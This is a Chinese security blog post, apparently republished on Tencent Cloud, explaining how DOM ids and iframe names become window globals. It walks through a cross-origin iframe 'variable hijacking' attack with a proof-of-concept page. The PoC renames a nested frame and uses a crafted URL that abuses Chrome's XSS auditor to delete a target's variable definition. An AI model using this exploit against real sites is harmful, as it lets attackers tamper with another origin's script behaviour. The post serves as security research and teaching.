前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >前端中存在的变量劫持漏洞

前端中存在的变量劫持漏洞

作者头像
用户1879329
发布2023-02-27 15:22:23
4920
发布2023-02-27 15:22:23
举报
文章被收录于专栏:安全的矛与盾

避免博客长草,水一篇文章,这篇文章中主要讲一个在前端中出现的有意思的变量劫持漏洞。

0x1 基础知识

当页面存在iframe的时候,父页面和子页面是可以相互获取到对方的window对象的,主要利用下面的方法。 (本文不考虑 iframesandbox 属性,所有测试都是在不添加任何sandbox的限制下进行。)

父访问子:

代码语言:javascript
复制
document.getElementById("iframe1").contentWindow; // 获取iframe的window对象
window.frames[0]; // 获取iframe的window对象
window[0] ; // 这个比较有意思, window 是本页面的window对象,window[0] 是子页面的window对象

子访问父:

代码语言:javascript
复制
window.parent;  //获取上一级的window对象,如果还是iframe则是该iframe的window对象
window.top ;   // 获取最顶级容器的window对象,即,就是你打开页面的文档

如果父和子页面是同源的,那么可以通过这个window对象获取到任何你想获取的内容,包括但是不限于 document,name,location 等。但是在非同源的情况下,iframe的window对象大多数的属性都会被同源策略block掉,但是有两个属性比较特殊。

  1. frames 可读,但是不可写。 意味着可以读取不同域的子页面里面的iframe的window对象
  2. location 可写,但是不可读。意味着父子可以相互修改彼此的 location

结合以上两点可以推导出,爷可以修改孙(孙可以修改爷)的location。(父页面可以获取子页面的window对象,然后通过frames获取孙页面的window对象,然后修改location)

爷修改孙,演示如下:

代码语言:javascript
复制
<!-- localhost:80/index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <iframe name="viewer" src="http://localhost:8888/view.html" onload="loaded(this)"></iframe>
    <script>
        // CONFIG = "test";
        function loaded(x) {
            // myframe = window.frames[0]; 
            // myframe.frames[0].location = 'http://www.baidu.com/';

            x.contentWindow.frames[0].location = "http://www.baidu.com/";   

            // console.log(myframe == x.contentWindow);
        }
    </script>
</body>

</html>
代码语言:javascript
复制
<!-- localhost:8888/view.html -->

<iframe name="viewer" src="http://blog.wonderkun.cc/"></iframe>

0x2 重新审视一下 id 属性

我们知道在浏览器中有如下特点,我们定义的所有全局变量,都被存储在window对象中,作为window的属性来被访问的。

下面在console中验证一下:

代码语言:javascript
复制
> content = "i am content storage in window";
< "i am content storage in window"
> window.content 
< "i am content storage in window"
> window.content == content
< true

同样,我们在页面中定义的具有id属性的dom对象也是作为全局变量存储在 window 中的。

代码语言:javascript
复制
<h1 id="test"></h1>

然后再console里访问一下:

代码语言:javascript
复制
> test
< <h1 id="test"></h1>
> window.test
< <h1 id="test"></h1>

这时候想到一个问题,既然 id 属性会被注册成全局变量,那么它会不会覆盖掉已经存在的全局变量呢?我们写如下的测试代码:

代码语言:javascript
复制
<h1>test</h1>
<h2>test2</h2>

    <script>
        // CONFIG = "test";
        test = "ddd";
        document.getElementsByTagName("h1")[0].setAttribute('id',"test");
        document.getElementsByTagName("h2")[0].setAttribute('id',"test2");
    </script>

在console中输入:

代码语言:javascript
复制
> test
< "ddd"
> test2
> <h2 id="test2">test2</h2>

事实证明无法覆盖已经定义的变量,但是却可以定义新的变量

怎么让页面中出现未定义的全局变量呢?别忘了 chrome 74之后 默认的 xss auditor 从block模式变成了filter模式,可以利用这个删除掉页面中的代码。(此问题文章最后演示)

另外我们知道,如果在页面中定义两个id一样的元素之后,这样使用 document.getElementById 就无法获取到这个id了,但是并不意味着着全局变量就不存在了,看下面这个实验。

代码语言:javascript
复制
<h1 id="test"></h1>
<h2 id="test"></h2>
代码语言:javascript
复制
> test 
< HTMLCollection(2) [h1#test, h2#test, test: h1#test]
   0: h1#test
   1: h2#test
   length: 2
   test: h1#test
   __proto__: HTMLCollection

很明显全局变量test还是存在的,是包含两个元素的数组。

0x3 同样道理看一下iframe的name属性

代码语言:javascript
复制
<iframe  name="viewer" src="./view.html"></iframe>

在console里验证一下

代码语言:javascript
复制
> viewer 
< Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, parent: Window, …}

情况差不多,这里的 viewer 是注册在全局变量里的window对象。

但是如果页面中出现两个name相同的iframe,又会是什么情况呢?

代码语言:javascript
复制
<iframe name="test" src="http://B.com/B.html" ></iframe>
<iframe name="test" src="http://C.com/C.html" ></iframe>

在console里面输入:

代码语言:javascript
复制
> test
< global {window: global, self: global, location: Location, closed: false, frames: global, …}
> test == document.getElementsByTagName('iframe')[0].contentWindow
< true
> test == document.getElementsByTagName('iframe')[1].contentWindow
< false

发现跟id的情况并不相同,这里只有第一个元素,而且仅有第一个元素。

0x4 id 和 name 重复出现时

name在id前面

代码语言:javascript
复制
<iframe name="test" src="http://B.com/B.html" ></iframe>
<h1 id="test"></h1>
代码语言:javascript
复制
> test 
< global {window: global, self: global, location: Location, closed: false, frames: global, …}

id在name前面

代码语言:javascript
复制
<h1 id="test"></h1>
<iframe name="test" src="http://B.com/B.html" ></iframe>
代码语言:javascript
复制
> test 
< global {window: global, self: global, location: Location, closed: false, frames: global, …}

可以发现 name 的优先级是高于 id 的优先级的,无论怎样全局变量里存储的都是 iframe 的 window对象。

0x5 漏洞场景

我们有一个可以控制的域 A.com 中有页面 A.com/A.html , 用iframe加载了 B.com 的域的页面 B.com/B.html 。A.html无法操作B.html页面,因为是不同源的,同时 B.com/B.html 页面用iframe加载了一个新的页面 C.com/C.html 。

此时 B.com/B.html 存在一个未定义的全局变量 (可以是利用chrome的xss auditor的filter模式产生的),怎么利用?场景用代码描述如下:

代码语言:javascript
复制
<!-- A.com/A.html -->
<iframe  src="http://B.com/B.html" ></iframe>
代码语言:javascript
复制
<!-- B.com/B.html -->
<iframe  src="http://C.com/C.html" ></iframe>
<h1 onclick="test()">click me</h1>
<script>
     VUL = "Hijack me";
</script>

<script>

    function test(){
        // 不能用alert ,alert 会尝试访问 VUL window对象的特有方法,会爆跨域错误
        console.log(VUL);
    }
</script>

利用的poc如下,修改A.html如下:

代码语言:javascript
复制
<script>
    function loaded(x){
        x.contentWindow.frames[0].location = "http://A.com/index.html"; // 修改为跟A.com同源,这样在修改此iframe的name的时候就不会被同源策略block
        setTimeout(function() {
            console.log('setting viewer...');
            x.contentWindow.frames[0].name = "VUL"; // 重新定义全局变量
        },1000);
    }
</script>

<!--  
    http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E
    利用chrome的filter模式去掉 VUL 的定义 
-->

<iframe  src="http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E" onload="loaded(this)"></iframe>

然后访问 A.com/A.html ,就会发现 B.com/B.html 中的 VUL 已经被劫持了。

0x6 进一步利用

由于我们控制了 B.com/B.html 中的 iframe 指向了 http://A.com/index.html , 所以此时 B 想访问 VUL 对象的子属性是不行的,因为是跨域的。

比如 B.com/B.html 有如下代码:

代码语言:javascript
复制
function test(){
    // 不能用alert ,alert 会尝试访问 VUL window对象的特有方法,会爆跨域错误
    // console.log(VUL);
    config  = VUL.config ; // 这一句一定会报错
    alert(config.name); // 也一定会报错 。。。。
}

为了解决这个问题,我们还可以在 http://A.com/index.html 这个页面上做文章,做法就是再插入一个iframe

代码语言:javascript
复制
<!-- http://A.com/index.html -->
<!-- http://B.com/C.html 是存在的 -->
<iframe  name="config" src="http://B.com/C.html" ></iframe>

此时在 B.com 访问 VUL.config 就不会报错,而且访问 config.name时,如果 http://B.com/C.html 存在这个全局变量就不会报错,因为此时 B.com 访问 VUL.config 的一切属性都不会报错了,因为没有跨域。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-07-012,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1 基础知识
  • 0x2 重新审视一下 id 属性
  • 0x3 同样道理看一下iframe的name属性
  • 0x4 id 和 name 重复出现时
  • 0x5 漏洞场景
  • 0x6 进一步利用
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档